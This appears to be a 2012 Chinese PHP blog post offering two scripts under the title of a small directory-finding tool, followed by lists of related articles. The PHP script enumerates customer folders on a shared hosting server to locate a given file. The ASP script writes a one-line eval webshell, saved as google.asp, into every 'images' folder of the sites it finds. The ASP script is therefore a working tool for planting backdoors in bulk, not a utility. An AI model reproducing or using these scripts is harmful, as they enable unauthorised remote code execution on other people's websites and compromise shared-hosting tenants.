php一个找二层目录的小东东


Posted in PHP onAugust 02, 2012

php版

<?php 
set_time_limit(0); 
$path = 'D:/Hosting'; 
$somefile = $_GET['key']; 
$logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt'; 
if (!isset($_SERVER['PHP_AUTH_USER'])) { 
header('WWW-Authenticate: Basic realm="My Realm"'); 
header('HTTP/1.0 401 Unauthorized'); 
echo 'Text to send if user hits Cancel button'; 
exit; 
} else { 
if(is_dir($path) && is_readable($path)) 
{ 
$path2 = ''; 
$handle = opendir($path); 
while(false !== ($filename = readdir($handle))) 
{ 
if($filename{0} != $_GET['dir']) 
{ 
continue; 
} 
/* 
if($filename{1} != $_GET['two']) 
{ 
continue; 
} 
*/ 
//$path2 = $path.'/'.$filename.'/html'; 
$path2 = $path.'/'.$filename; 
if(is_dir($path2) && is_readable($path2)) 
{ 
@$handle2 = opendir($path2); 
while(false !== ($filename2 = readdir($handle2))) 
{ 
if($filename2 == $somefile) 
{ 
//echo'[+]Found !'.$filename2."\n"; 
file_put_contents($logfile,'[+]Found !'.$path2.'/'.$filename2."\n",FILE_APPEND); 
} 
} 
@closedir($handle2); 
} 
} 
file_put_contents($logfile,'[*]LAST '.$path2."\n",FILE_APPEND); 
closedir($handle); 
} 
}

asp版
<% 
Server.ScriptTimeout=500000000 
key = Trim(Request.QueryString("key")) 
msg=" <% eval(rquese(Chr(35)))%" &">" 
Set FSO=Server.CreateObject("Scripting.FileSystemObject") 
Set ServerFolder=FSO.GetFolder("C:\intel") 
Set ServerFolderList=ServerFolder.subfolders 
For Each ServerFileEvery IN ServerFolderList 
' Response.write ServerFileEvery&"</br>" 
If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then 
Set sServerFolder=FSO.GetFolder(ServerFileEvery) 
Set sServerFolderList=sServerFolder.subfolders 
For Each sServerFileEvery IN sServerFolderList 
If LCase(sServerFileEvery.name) = "images" Then 
StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8" 
End If 
Next 
End If 
Next 
Function StreamSaveToFile(sPath, sContent, sCharSet) 
Dim oStream 
If(InStr(sPath, ":") <= 0)Then 
sPath = Replace(sPath, ",", ",") 
sPath = Server.MapPath(sPath) 
sPath = Replace(sPath, ",", ",") 
End If 
Set oStream = Server.CreateObject("Adodb.Stream") 
With oStream 
.Type = 2 
.Mode = 3 
.Open 
.Charset = sCharSet 
.WriteText sContent 
.SaveToFile sPath, 2 
.Close 
End With 
Set oStream = Nothing 
End Function 
%>
PHP 相关文章推荐
怎么使 Mysql 数据同步
Oct 09 PHP
PHP脚本数据库功能详解(上)
Oct 09 PHP
PHP CURL模拟登录新浪微博抓取页面内容 基于EaglePHP框架开发
Jan 16 PHP
那些年一起学习的PHP(一)
Mar 21 PHP
PHP中替换换行符的几种方法小结
Oct 15 PHP
php常用Output和ptions/Info函数集介绍
Jun 19 PHP
php页面防重复提交方法总结
Nov 25 PHP
php指定函数参数默认值示例代码
Dec 04 PHP
PHP获取MySql新增记录ID值的3种方法
Jun 24 PHP
浅谈PHP中foreach/in_array的使用
Nov 02 PHP
yii2实现根据时间搜索的方法
May 25 PHP
php将html转为图片的实现方法
May 19 PHP
PHP文章采集URL补全函数(FormatUrl)
Aug 02 #PHP
PHP服务器页面间跳转实现方法
Aug 02 #PHP
php中3des加密代码(完全与.net中的兼容)
Aug 02 #PHP
浏览器关闭后,能继续执行的php函数(ignore_user_abort)
Aug 01 #PHP
php读取文件内容至字符串中,同时去除换行、空行、行首行尾空格(Zjmainstay原创)
Jul 31 #PHP
单一index.php实现PHP任意层级文件夹遍历(Zjmainstay原创)
Jul 31 #PHP
php读取txt文件组成SQL并插入数据库的代码(原创自Zjmainstay)
Jul 31 #PHP
You might like
PHP使用数组实现队列
2012/02/05 PHP
PHP新手用的Insert和Update语句构造类
2012/03/31 PHP
源码分析 Laravel 重复执行同一个队列任务的原因
2017/12/25 PHP
thinkPHP框架实现生成条形码的方法示例
2018/06/06 PHP
php curl发送请求实例方法
2019/08/01 PHP
关于jQuery $.isNumeric vs. $.isNaN vs. isNaN
2013/04/15 Javascript
JavaScript作用域与作用域链深入解析
2013/12/06 Javascript
利用js制作html table分页示例(js实现分页)
2014/04/25 Javascript
javascript arguments使用示例
2014/12/16 Javascript
JS实现网页标题随机显示名人名言的方法
2015/11/03 Javascript
vue数据双向绑定原理解析(get &amp; set)
2017/03/08 Javascript
vue.js实现条件渲染的实例代码
2017/06/22 Javascript
Angularjs cookie 操作实例详解
2017/09/27 Javascript
es6中的解构赋值、扩展运算符和rest参数使用详解
2017/09/28 Javascript
nodejs实现OAuth2.0授权服务认证
2017/12/27 NodeJs
Vue.js 事件修饰符的使用教程
2018/11/01 Javascript
vue请求本地自己编写的json文件的方法
2019/04/25 Javascript
微信小程序一周时间表功能实现
2019/10/17 Javascript
逐行分析鸿蒙系统的 JavaScript 框架(推荐)
2020/09/17 Javascript
[00:57]辉夜杯战队访谈宣传片—VG
2015/12/25 DOTA
部署Python的框架下的web app的详细教程
2015/04/30 Python
python安装twisted的问题解析
2018/08/21 Python
Python统计一个字符串中每个字符出现了多少次的方法【字符串转换为列表再统计】
2019/05/05 Python
python网络编程之多线程同时接受和发送
2019/09/03 Python
通过celery异步处理一个查询任务的完整代码
2019/11/19 Python
python二维键值数组生成转json的例子
2019/12/06 Python
细说CSS3中的选择符
2008/10/17 HTML / CSS
介绍一下gcc特性
2015/10/31 面试题
计生个人工作总结
2015/02/28 职场文书
评职称个人总结
2015/03/05 职场文书
毕业生政审意见范文
2015/06/04 职场文书
2016年校长新年寄语
2015/08/17 职场文书
优胜劣汰,强者为王——读《鲁滨逊漂流记》有感
2019/08/15 职场文书
Python基础之赋值,浅拷贝,深拷贝的区别
2021/04/30 Python
教你使用Python获取QQ音乐某个歌手的歌单
2022/04/03 Python
Django框架中视图的用法
2022/06/10 Python